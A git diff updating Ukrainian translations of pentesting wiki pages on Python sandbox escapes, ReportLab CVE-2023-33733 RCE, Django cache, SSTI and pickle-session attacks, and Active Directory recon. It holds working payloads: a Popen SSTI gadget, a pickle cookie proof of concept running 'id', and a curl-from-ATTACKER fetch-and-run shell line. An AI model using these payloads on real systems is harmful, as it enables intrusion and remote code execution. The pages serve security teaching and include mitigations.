varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.' > ``` -### Recreating a leaked function +### Відтворення leaked function > [!WARNING] -> У наведеному прикладі ми візьмемо всі дані, необхідні для відтворення функції, безпосередньо з об'єкта коду функції. У **реальному прикладі** всі **значення**, потрібні для виконання функції **`code_type`**, — це те, що вам доведеться leak. +> У наступному прикладі ми візьмемо всі дані, необхідні для відтворення функції, безпосередньо з function code object. У **реальному прикладі** всі **значення** для виконання функції **`code_type`** — це те, що **вам потрібно leak**. ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak @@ -990,10 +990,10 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") #ThisIsTheFlag ``` -### Обхід захисту +### Обхід захистів -У попередніх прикладах на початку цього поста видно, **як виконати будь-який python-код за допомогою функції `compile`**. Це цікаво, тому що можна **виконувати цілі скрипти** з циклами та всім іншим в **один рядок** (і те саме можна зробити за допомогою **`exec`**).\ -Втім, іноді може бути корисно **створити** **скомпільований об'єкт** на локальній машині та виконати його на **CTF machine** (наприклад, тому що у CTF немає функції `compiled`). +У попередніх прикладах на початку цього допису ви можете побачити **як виконувати будь-який python код за допомогою функції `compile`**. Це цікаво, тому що можна **виконати весь скрипт** з циклами та всім іншим в **одному рядку** (і ми могли б зробити те саме, використовуючи **`exec`**).\ +Втім, інколи корисно **створити** **скомпільований об'єкт** на локальній машині та виконати його на **CTF машині** (наприклад тому, що у CTF немає функції `compiled`). Наприклад, давайте скомпілюємо та вручну виконаємо функцію, яка читає _./poc.py_: ```python @@ -1022,7 +1022,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` -Якщо ви не можете отримати доступ до `eval` або `exec`, ви можете створити **коректну функцію**, але її прямий виклик зазвичай призведе до: _constructor not accessible in restricted mode_. Тому вам потрібна **функція, що знаходиться поза обмеженим середовищем, щоб викликати цю функцію.** +Якщо ви не можете отримати доступ до `eval` або `exec`, ви можете створити **повноцінну функцію**, але її прямий виклик зазвичай призводить до помилки: _конструктор недоступний у обмеженому режимі_. Тому вам потрібна **функція, яка не знаходиться в обмеженому середовищі, щоб викликати цю функцію.** ```python #Compile a regular print ftype = type(lambda: None) @@ -1032,20 +1032,20 @@ f(42) ``` ## Decompiling Compiled Python -Використовуючи інструменти на зразок [**https://www.decompiler.com/**](https://www.decompiler.com) можна **decompile** заданий compiled python code. +Використовуючи інструменти на кшталт [**https://www.decompiler.com/**](https://www.decompiler.com) можна **decompile** заданий скомпільований python code. -**Перегляньте цей підручник**: +**Ознайомтеся з цим навчальним посібником**: {{#ref}} ../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md {{#endref}} -## Misc Python +## Різне про Python ### Assert -Python, виконуваний з оптимізаціями за параметром `-O`, видалить asset statements і будь-який код, умовний від значення **debug**.\ +Якщо Python запускати з оптимізацією (параметр `-O`), будуть видалені assert statements та будь-який код, умовно залежний від значення **debug**.\ Отже, перевірки на кшталт ```python def check_permission(super_user): diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md index 8b08e8876..abbb01f9d 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md @@ -2,52 +2,52 @@ {{#include ../../../banners/hacktricks-training.md}} -Ця сторінка документує практичний sandbox escape та RCE-примітив у ReportLab’s rl_safe_eval, який використовується xhtml2pdf та іншими PDF-генеруючими конвеєрами при рендерінгу HTML, керованого користувачем, у PDF. +Ця сторінка документує практичний escape з sandbox та примітив RCE в rl_safe_eval від ReportLab, який використовується xhtml2pdf та іншими пайплайнами генерації PDF при рендерингу керованого користувачем HTML у PDF. -CVE-2023-33733 впливає на версії ReportLab до та включно 3.6.12. У певних контекстах атрибутів (наприклад color) значення, загорнуті в потрійні дужки [[[ ... ]]], оцінюються серверною стороною за допомогою rl_safe_eval. Під час побудови payload, що pivot-ить від дозволеного builtin (pow) до його Python function globals, атакуючий може дістатися до модуля os і виконати команди. +CVE-2023-33733 впливає на ReportLab версії до і включно 3.6.12. В певних контекстах атрибутів (наприклад color) значення, загорнуті в triple brackets [[[ ... ]]], оцінюються на стороні сервера за допомогою rl_safe_eval. Шляхом створення payload, що піводить від дозволеного builtin (pow) до його Python function globals, атакуючий може дістатися до модуля os і виконати команди. Ключові моменти -- Trigger: inject [[[ ... ]]] into evaluated attributes such as within markup parsed by ReportLab/xhtml2pdf. -- Sandbox: rl_safe_eval replaces dangerous builtins but evaluated functions still expose __globals__. -- Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string "__globals__" while avoiding blocked dunder filtering. +- Trigger: інжектувати [[[ ... ]]] в evaluated attributes, такі як у розмітці, що парситься ReportLab/xhtml2pdf. +- Sandbox: rl_safe_eval заміщає небезпечні builtins, але все ще оцінювані функції відкривають __globals__. +- Bypass: створити тимчасовий клас Word щоб обійти перевірки імен rl_safe_eval і отримати рядок "__globals__", уникаючи фільтрації заблокованих dunder-імен. - RCE: getattr(pow, Word("__globals__"))["os"].system("") -- Stability: Return a valid value for the attribute after execution (for color, use and 'red'). +- Stability: Повернути дійсне значення для атрибута після виконання (для color використати and 'red'). Коли тестувати -- Застосунки, які надають експорт HTML→PDF (профілі, інвойси, звіти) і показують xhtml2pdf/ReportLab у метаданих PDF або коментарях HTTP-відповіді. +- Додатки, які надають експорт HTML-to-PDF (профілі, рахунки, звіти) і показують xhtml2pdf/ReportLab у метаданих PDF або у коментарях HTTP-відповіді. - exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer - HTTP-відповідь для PDF часто починається з ReportLab generator comment Як працює обхід sandbox -- rl_safe_eval видаляє або замінює багато builtins (getattr, type, pow, ...) і застосовує фільтрацію імен, щоб відхилити атрибути, що починаються з __ або є в denylist. -- Однак безпечні функції зберігають свої globals у словнику, доступному як func.__globals__. -- Використайте type(type(1)) щоб відновити справжню вбудовану функцію type (обхід обгортки ReportLab), потім визначте клас Word, похідний від str, з модифікованою поведінкою порівняння так, щоб: +- rl_safe_eval видаляє або замінює багато builtins (getattr, type, pow, ...) і застосовує фільтрацію імен, щоб заборонити атрибути, що починаються з __ або є у denylist. +- Проте безпечні функції живуть у globals-словнику, доступному як func.__globals__. +- Використовуйте type(type(1)) щоб відновити реальну вбудовану функцію type (обминаючи wrapper від ReportLab), потім визначте клас Word, похідний від str, з мутованою поведінкою порівняння так, що: - .startswith('__') → завжди False (обхід перевірки name startswith('__')) - - .__eq__ повертає False тільки при першому порівнянні (обхід перевірок належності denylist) і True після цього (щоб getattr працював) - - .__hash__ дорівнює hash(str(self)) -- З таким підходом getattr(pow, Word('__globals__')) повертає globals-словник обгорнутого pow, який включає імпортований модуль os. Далі: ['os'].system(''). + - .__eq__ повертає False лише при першому порівнянні (обхід перевірки членства у denylist) і True опісля (щоб Python getattr працював) + - .__hash__ = hash(str(self)) +- За допомогою цього getattr(pow, Word('__globals__')) повертає globals dict обгорнутої функції pow, який містить імпортований модуль os. Далі: ['os'].system(''). -Мінімальний шаблон експлуатації (приклад для атрибуту) -Помістіть payload всередину оціненого атрибуту та переконайтеся, що він повертає допустиме значення атрибуту через булеву операцію і 'red'. +Мінімальний патерн експлуатації (приклад для атрибута) +Розмістіть payload всередині evaluated attribute і переконайтесь, що він повертає дійсне значення атрибута через boolean and 'red'. exploit - Форма з list-comprehension дозволяє один вираз, прийнятний для rl_safe_eval. -- Закінчення and 'red' повертає дійсний CSS-колір, щоб рендеринг не ламався. -- Замініть команду за потреби; використовуйте ping щоб валідувати виконання через tcpdump. +- Трейлінг and 'red' повертає дійсний CSS color, тож рендеринг не зламається. +- Замініть команду за потреби; використайте ping щоб перевірити виконання через tcpdump. Операційний робочий процес -1) Визначити генератор PDF +1) Ідентифікуйте PDF-генератор - PDF Producer показує xhtml2pdf; HTTP-відповідь містить ReportLab comment. -2) Знайти введення, відображене в PDF (наприклад bio/description у профілі) і викликати експорт. -3) Підтвердити виконання низькошумним ICMP -- Запуск: sudo tcpdump -ni icmp +2) Знайдіть input, що відображається в PDF (наприклад profile bio/description) і запустіть експорт. +3) Підтвердіть виконання низькошумним ICMP +- Run: sudo tcpdump -ni icmp - Payload: ... system('ping ') ... -- Windows часто надсилає рівно чотири echo-запити за замовчуванням. -4) Отримати shell -- Для Windows надійний двоетапний підхід уникає проблем з цитуванням/кодуванням: +- Windows часто відправляє рівно чотири echo requests за замовчуванням. +4) Встановіть шелл +- Для Windows надійний two-stage підхід уникає проблем з quoting/encoding: - Stage 1 (download): exploit @@ -56,19 +56,19 @@ exploit exploit -- Для Linux-цілей можливий схожий двоетапний підхід з curl/wget: +- Для Linux-таргетів можливий подібний two-stage з curl/wget: - system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s') -Примітки та поради -- Контексти атрибутів: color — відомий оцінюваний атрибут; інші атрибути у ReportLab-розмітці також можуть оцінювати expressions. Якщо одне місце санітізується, спробуйте інші ділянки, які рендеряться в потоці PDF (різні поля, стилі таблиць тощо). -- Квотування: тримайте команди компактними. Двоетапні завантаження значно зменшують проблеми з цитуванням та екрануванням. -- Надійність: якщо експорт кешується або ставиться в чергу, трохи варіюйте payload (наприклад випадковий шлях або query) щоб уникнути кешування. +Нотатки та поради +- Контексти атрибутів: color відомий як evaluated attribute; інші атрибути в ReportLab markup також можуть оцінювати вирази. Якщо одне місце санітайзиться, спробуйте інші, що рендеряться у PDF flow (різні поля, table styles тощо). +- Quoting: тримайте команди компактними. Two-stage завантаження значно зменшують проблеми з quoting та escaping. +- Надійність: якщо експорти кешуються або ставляться у чергу, трохи варіюйте payload (наприклад випадковий шлях або query), щоб уникнути кешування. Захист та виявлення -- Оновіть ReportLab до 3.6.13 або пізнішої версії (CVE-2023-33733 виправлено). Відстежуйте також security advisories у пакетах дистрибутивів. -- Не передавайте HTML/розмітку під контролем користувача напряму в xhtml2pdf/ReportLab без суворої санітизації. Видаліть/заблокуйте [[[...]]] evaluation constructs та vendor-specific теги, коли вхідні дані недовірені. -- Розгляньте відключення або обгортання використання rl_safe_eval повністю для недовірених входів. -- Моніторте підозрілі вихідні з’єднання під час генерації PDF (наприклад ICMP/HTTP з app server-ів під час експорту документів). +- Оновіть ReportLab до 3.6.13 або новішої (CVE-2023-33733 виправлено). Слідкуйте також за security advisories у пакетах дистрибутивів. +- Не передавайте user-controlled HTML/markup безпосередньо у xhtml2pdf/ReportLab без суворої санітизації. Видаляйте/забороняйте [[[...]]] evaluation constructs та vendor-specific теги коли вхід ненадійний. +- Розгляньте відключення або обгортання використання rl_safe_eval повністю для ненадійних входів. +- Моніторьте підозрілі вихідні з’єднання під час генерації PDF (наприклад ICMP/HTTP від app servers при експорті документів). References - PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733) diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index b1d7a894f..92532ecb8 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -2,25 +2,25 @@ {{#include ../../banners/hacktricks-training.md}} -## Маніпуляція кешем для RCE -Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Якщо атакуючий може отримати права запису в кеш, він може ескалувати цю вразливість до RCE на підлягаючому сервері**. +## Cache Manipulation to RCE +Метод збереження кешу за замовчуванням у Django — [Python pickles](https://docs.python.org/3/library/pickle.html), що може призвести до RCE, якщо [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Якщо атакуючий може отримати доступ на запис у кеш, він може ескалувати цю вразливість до RCE на підлягаючому сервері**. -Кеш Django зберігається в одному з чотирьох місць: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Кеш, що зберігається в Redis server або database, є найімовірнішими векторами атаки (Redis injection and SQL injection), але атакуючий також може використати file-based cache, щоб перетворити довільний запис у RCE. Maintainers have marked this as a non-issue. Важливо зазначити, що папка файлів кешу, назва SQL-таблиці та деталі Redis server будуть відрізнятися в залежності від реалізації. +Кеш Django зберігається в одному з чотирьох місць: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), або в [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Кеш, що зберігається в Redis або базі даних, найімовірніше є вектором атаки (Redis injection та SQL injection), але атакуючий також може використати file-based cache, щоб перетворити довільний запис у RCE. Мейнтейнери позначили це як неістотну проблему. Важливо зазначити, що папка з файлами кешу, ім'я SQL-таблиці та деталі Redis-сервера залежать від реалізації. -This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436 +Цей звіт на HackerOne містить відмінний відтворюваний приклад експлуатації кешу Django, збереженого в SQLite database: https://hackerone.com/reports/1415436 --- ## Server-Side Template Injection (SSTI) -The Django Template Language (DTL) is **Turing-complete**. Якщо дані, надані користувачем, рендеряться як *template string* (наприклад, викликом `Template(user_input).render()` або коли `|safe`/`format_html()` видаляє автоекранування), атакуючий може досягти повного SSTI → RCE. +The Django Template Language (DTL) is **Turing-complete**. Якщо дані, надані користувачем, рендеряться як *template string* (наприклад через виклик `Template(user_input).render()` або коли `|safe`/`format_html()` вимикають авто-екранування), атакуючий може досягти повного SSTI → RCE. ### Виявлення -1. Шукайте динамічні виклики `Template()` / `Engine.from_string()` / `render_to_string()`, які включають *будь-які* ненормалізовані дані запиту. -2. Відправте тайм-орієнтований або арифметичний payload: +1. Шукайте динамічні виклики `Template()` / `Engine.from_string()` / `render_to_string()`, що включають *будь-які* неналежно оброблені дані запиту. +2. Надішліть тайм-орієнтований або арифметичний payload: ```django {{7*7}} ``` -Якщо в результаті рендерингу з'являється `49`, вхід компілюється шаблонним двигуном. +Якщо в результаті рендерингу міститься `49`, введення компілюється шаблонним рушієм. ### Примітив для RCE Django блокує прямий доступ до `__import__`, але граф об'єктів Python доступний: @@ -31,14 +31,14 @@ Django блокує прямий доступ до `__import__`, але граф ```django {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}} ``` -A safer universal gadget is to iterate until `cls.__name__ == 'Popen'`. +Більш безпечний універсальний gadget — ітерувати, поки `cls.__name__ == 'Popen'`. -The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering features that mishandle user input. +Той самий gadget працює для **Debug Toolbar** або **Django-CMS** функцій рендерингу шаблонів, які неправильно обробляють введення користувача. --- -### Also see: ReportLab/xhtml2pdf PDF export RCE -Додатки, побудовані на Django, зазвичай інтегрують xhtml2pdf/ReportLab для експорту views як PDF. Коли HTML, контрольований користувачем, потрапляє до генерації PDF, rl_safe_eval може оцінювати вирази всередині потрійних дужок `[[[ ... ]]]`, що дозволяє виконання коду (CVE-2023-33733). Деталі, payloads, and mitigations: +### Див. також: ReportLab/xhtml2pdf PDF export RCE +Додатки, побудовані на Django, зазвичай інтегрують xhtml2pdf/ReportLab для експорту views у PDF. Якщо HTML, контрольований користувачем, потрапляє у генерацію PDF, rl_safe_eval може обчислювати вирази всередині потрійних дужок `[[[ ... ]]]`, що дозволяє виконання коду (CVE-2023-33733). Деталі, payloads, та mitigations: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md @@ -46,14 +46,14 @@ The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering --- -## Pickle-Backed Session Cookie RCE -Якщо налаштування `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` увімкнене (або використовується кастомний serializer, що десеріалізує pickle), Django *decrypts and unpickles* the session cookie **before** calling any view code. Тому наявність дійсного signing key (проектний `SECRET_KEY` за замовчуванням) достатньо для негайного remote code execution. +## RCE в сесійних cookie на основі Pickle +Якщо налаштовано `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` (або використовується кастомний serializer, який десеріалізує pickle), Django *розшифровує та розпаковує* сесійний cookie **перед** викликом будь-якого коду view. Тому володіння дійсним signing key (проектний `SECRET_KEY` за замовчуванням) достатнє для негайного remote code execution. -### Exploit Requirements +### Вимоги експлуатації * Сервер використовує `PickleSerializer`. -* Зловмисник знає / може вгадати `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, etc.). +* Атакувальник знає / може вгадати `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, etc.). -### Proof-of-Concept +### Доказ концепції ```python #!/usr/bin/env python3 from django.contrib.sessions.serializers import PickleSerializer @@ -67,23 +67,23 @@ return (os.system, ("id > /tmp/pwned",)) mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer) print(f"sessionid={mal}") ``` -Надішліть отриманий cookie, і payload виконається з дозволами WSGI worker. +Надішліть отримане cookie, і payload виконається з правами WSGI worker. -**Заходи пом'якшення**: Keep the default `JSONSerializer`, rotate `SECRET_KEY`, and configure `SESSION_COOKIE_HTTPONLY`. +**Заходи пом'якшення**: Залишайте стандартний `JSONSerializer`, регулярно змінюйте `SECRET_KEY` та налаштуйте `SESSION_COOKIE_HTTPONLY`. --- -## Останні (2023-2025) CVE високого впливу Django, які повинні перевірити Pentesters -* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (fixed June 4 2025). Дозволяє зловмисникам вводити символи нового рядка/ANSI-коди у файли логів і псувати подальший аналіз логів. Виправлено у версіях ≥ 4.2.22 / 5.1.10 / 5.2.2. -* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Сформуйте JSON keys так, щоб вийти з кавичок і виконати довільний SQL. Fixed in 4.2.15 / 5.0.8. +## Недавні (2023–2025) високовпливові CVE Django, які Pentesters мають перевірити +* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (виправлено 4 червня 2025). Дозволяє атакуючим впроваджувати перенос рядка/ANSI-коди у файли логів і псувати подальший аналіз логів. Патч-рівень ≥ 4.2.22 / 5.1.10 / 5.2.2. +* **CVE-2024-42005** – *Critical SQL injection* у `QuerySet.values()/values_list()` на `JSONField` (CVSS 9.8). Сформуйте JSON-ключі, щоб вийти із цитування і виконати довільний SQL. Виправлено в 4.2.15 / 5.0.8. -Завжди ідентифікуйте точну версію фреймворка через сторінку помилки `X-Frame-Options` або хеш `/static/admin/css/base.css` і тестуйте наведене, де це доречно. +Завжди ідентифікуйте точну версію фреймворку через сторінку помилки `X-Frame-Options` або хеш `/static/admin/css/base.css` і перевіряйте наведене вище там, де це доречно. --- ## Джерела -* Повідомлення про безпеку Django – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025. -* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024. +* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 червня 2025. +* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 серпня 2024. * 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index 95506c3da..859b8b230 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -1,29 +1,29 @@ -# Active Directory Методологія +# Active Directory методологія {{#include ../../banners/hacktricks-training.md}} -## Загальний огляд +## Основний огляд -**Active Directory** слугує базовою технологією, яка дозволяє **network administrators** ефективно створювати та керувати **domains**, **users** та **objects** у межах мережі. Вона спроєктована для масштабування, дозволяючи організовувати велику кількість користувачів у керовані **groups** і **subgroups**, одночасно контролюючи **access rights** на різних рівнях. +**Active Directory** служить базовою технологією, що дозволяє **мережевим адміністраторам** ефективно створювати і керувати **домени**, **користувачами** та **обʼєктами** в мережі. Вона спроєктована для масштабування, дозволяючи організовувати велику кількість користувачів у керовані **групи** та **підгрупи**, а також контролювати **права доступу** на різних рівнях. -Структура **Active Directory** складається з трьох основних шарів: **domains**, **trees** та **forests**. **Domain** охоплює набір об’єктів, таких як **users** або **devices**, що використовують спільну базу даних. **Trees** — це групи таких доменів, пов’язані спільною структурою, а **forest** представляє собою колекцію кількох trees, взаємопов’язаних через **trust relationships**, утворюючи найвищий рівень організаційної структури. На кожному з цих рівнів можна призначати конкретні **access** та **communication rights**. +Структура **Active Directory** складається з трьох основних шарів: **домени**, **дерева** та **ліси**. **Домен** охоплює набір обʼєктів, таких як **користувачі** чи **пристрої**, що ділять спільну базу даних. **Дерева** — це групи доменів, повʼязані спільною структурою, а **ліс** представляє собою колекцію кількох дерев, зʼєднаних через **trust relationships**, утворюючи найвищий рівень організаційної структури. На кожному з цих рівнів можна задавати конкретні **права доступу** та **права на комунікацію**. -Ключові поняття в рамках **Active Directory** включають: +Ключові поняття в **Active Directory** включають: -1. **Directory** – Містить усю інформацію, що стосується об’єктів Active Directory. -2. **Object** – Позначає сутності в каталозі, включаючи **users**, **groups** або **shared folders**. -3. **Domain** – Служить контейнером для об’єктів каталогу; у **forest** може бути декілька domain, кожен з власною колекцією об’єктів. -4. **Tree** – Групування domain, які мають спільний root domain. -5. **Forest** – Верхівка організаційної структури в Active Directory, що складається з кількох trees з **trust relationships** між ними. +1. **Directory** – Містить всю інформацію про обʼєкти Active Directory. +2. **Object** – Означає сутності в каталозі, включаючи **користувачів**, **групи** або **спільні папки**. +3. **Domain** – Служить контейнером для обʼєктів каталогу; кілька domain можуть існувати в межах одного **forest**, кожен з яких має власний набір обʼєктів. +4. **Tree** – Групування доменів, які ділять спільний root domain. +5. **Forest** – Верхній рівень організаційної структури в Active Directory, що складається з кількох tree з **trust relationships** між ними. -**Active Directory Domain Services (AD DS)** охоплює низку сервісів, критичних для централізованого управління та комунікації в мережі. Ці сервіси включають: +**Active Directory Domain Services (AD DS)** охоплює набір служб, критичних для централізованого управління та комунікації в мережі. До цих служб належать: -1. **Domain Services** – Централізує збереження даних і керує взаємодією між **users** та **domains**, включаючи **authentication** та **search** функціональність. -2. **Certificate Services** – Керує створенням, розповсюдженням та управлінням безпечними **digital certificates**. -3. **Lightweight Directory Services** – Підтримує directory-enabled додатки через протокол **LDAP**. -4. **Directory Federation Services** – Забезпечує **single-sign-on** для аутентифікації користувачів у кількох веб-додатках за одну сесію. -5. **Rights Management** – Допомагає захищати авторські матеріали, регулюючи їхнє несанкціоноване розповсюдження та використання. -6. **DNS Service** – Критично важливий для розв’язання **domain names**. +1. **Domain Services** – Централізує зберігання даних і керує взаємодією між **користувачами** та **доменами**, включаючи **аутентифікацію** та функції **пошуку**. +2. **Certificate Services** – Керує створенням, розподілом та обслуговуванням безпечних **цифрових сертифікатів**. +3. **Lightweight Directory Services** – Підтримує додатки, орієнтовані на каталог, через протокол **LDAP**. +4. **Directory Federation Services** – Забезпечує можливості **single-sign-on** для аутентифікації користувачів у кількох веб-застосунках в одній сесії. +5. **Rights Management** – Допомагає захищати авторські матеріали, регулюючи їх несанкціонований розподіл і використання. +6. **DNS Service** – Критично важлива для розвʼязання **domain names**. For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory) @@ -34,34 +34,34 @@ To learn how to **attack an AD** you need to **understand** really good the **Ke ## Шпаргалка -Ви можете звернутись до [https://wadcoms.github.io/](https://wadcoms.github.io) щоб швидко переглянути які команди можна виконати для перечислення/експлуатації AD. +You can take a lot to [https://wadcoms.github.io/](https://wadcoms.github.io) to have a quick view of which commands you can run to enumerate/exploit an AD. > [!WARNING] > Kerberos communication **requires a full qualifid name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not kerberos**. -## Збір інформації про Active Directory (без облікових даних/сесій) +## Recon Active Directory (No creds/sessions) -Якщо у вас є доступ до середовища AD, але немає жодних облікових даних/сесій, ви можете: +Якщо у вас є доступ до середовища AD, але немає облікових даних/сесій, ви можете: - **Pentest the network:** -- Скануйте мережу, знаходьте машини та відкриті порти і намагайтеся **exploit vulnerabilities** або **extract credentials** з них (наприклад, [printers could be very interesting targets](ad-information-in-printers.md)). -- Перерахування DNS може дати інформацію про ключові сервери в domain як web, printers, shares, vpn, media тощо. +- Сканувати мережу, знайти машини та відкриті порти і спробувати **експлуатувати вразливості** або **витягти облікові дані** з них (наприклад, [принтери можуть бути дуже цікавими цілями](ad-information-in-printers.md)). +- Перелічення DNS може дати інформацію про ключові сервери в домені, такі як web, printers, shares, vpn, media тощо. - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt` -- Погляньте на загальну [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) щоб знайти більше інформації про те, як це робити. -- **Check for null and Guest access on smb services** (це не працюватиме на сучасних версіях Windows): +- Подивіться загальну [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md), щоб знайти більше інформації про те, як це робити. +- **Перевірте null та Guest доступ на smb сервісах** (це не працюватиме на сучасних версіях Windows): - `enum4linux -a -u "" -p "" && enum4linux -a -u "guest" -p "" ` - `smbmap -u "" -p "" -P 445 -H && smbmap -u "guest" -p "" -P 445 -H ` - `smbclient -U '%' -L // && smbclient -U 'guest%' -L //` -- Детальніший гайд по перечисленню SMB сервера можна знайти тут: +- Більш детальний гайд про те, як перерахувати SMB сервер, можна знайти тут: {{#ref}} ../../network-services-pentesting/pentesting-smb/ {{#endref}} -- **Enumerate Ldap** +- **Перелічення LDAP** - `nmap -n -sV --script "ldap* and not brute" -p 389 ` -- Детальніший гайд по перечисленню LDAP можна знайти тут (зверніть **особливу увагу на anonymous access**): +- Більш детальний гайд про те, як перерахувати LDAP, можна знайти тут (зверніть **особливу увагу на анонімний доступ**): {{#ref}} @@ -69,12 +69,12 @@ To learn how to **attack an AD** you need to **understand** really good the **Ke {{#endref}} - **Poison the network** -- Збирайте облікові дані, **impersonating services with Responder** (../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -- Доступ до хоста через **abusing the relay attack** (../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) -- Збирання облікових даних шляхом **exposing fake UPnP services with evil-S** (../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) +- Збирайте облікові дані, **імітуючи сервіси за допомогою Responder** (../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +- Доступ до хоста шляхом [**зловживання relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) +- Збирайте облікові дані, **експонуючи** [**фейкові UPnP сервіси за допомогою evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html): -- Витягуйте usernames/names з internal documents, social media, сервісів (головним чином web) всередині domain середовищ, а також з публічно доступних джерел. -- Якщо ви знайдете повні імена працівників компанії, можна спробувати різні AD **username conventions (**[**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Найпоширеніші конвенції: _NameSurname_, _Name.Surname_, _NamSur_ (3letters of each), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123). +- Витягайте імена користувачів/імена з внутрішніх документів, соціальних мереж, сервісів (головним чином web) у межах доменної інфраструктури, а також з загальнодоступних джерел. +- Якщо ви знайдете повні імена співробітників компанії, ви можете спробувати різні конвенції імен користувачів AD (**read this**). Найпоширеніші конвенції: _NameSurname_, _Name.Surname_, _NamSur_ (3 літери кожного), _Nam.Sur_, 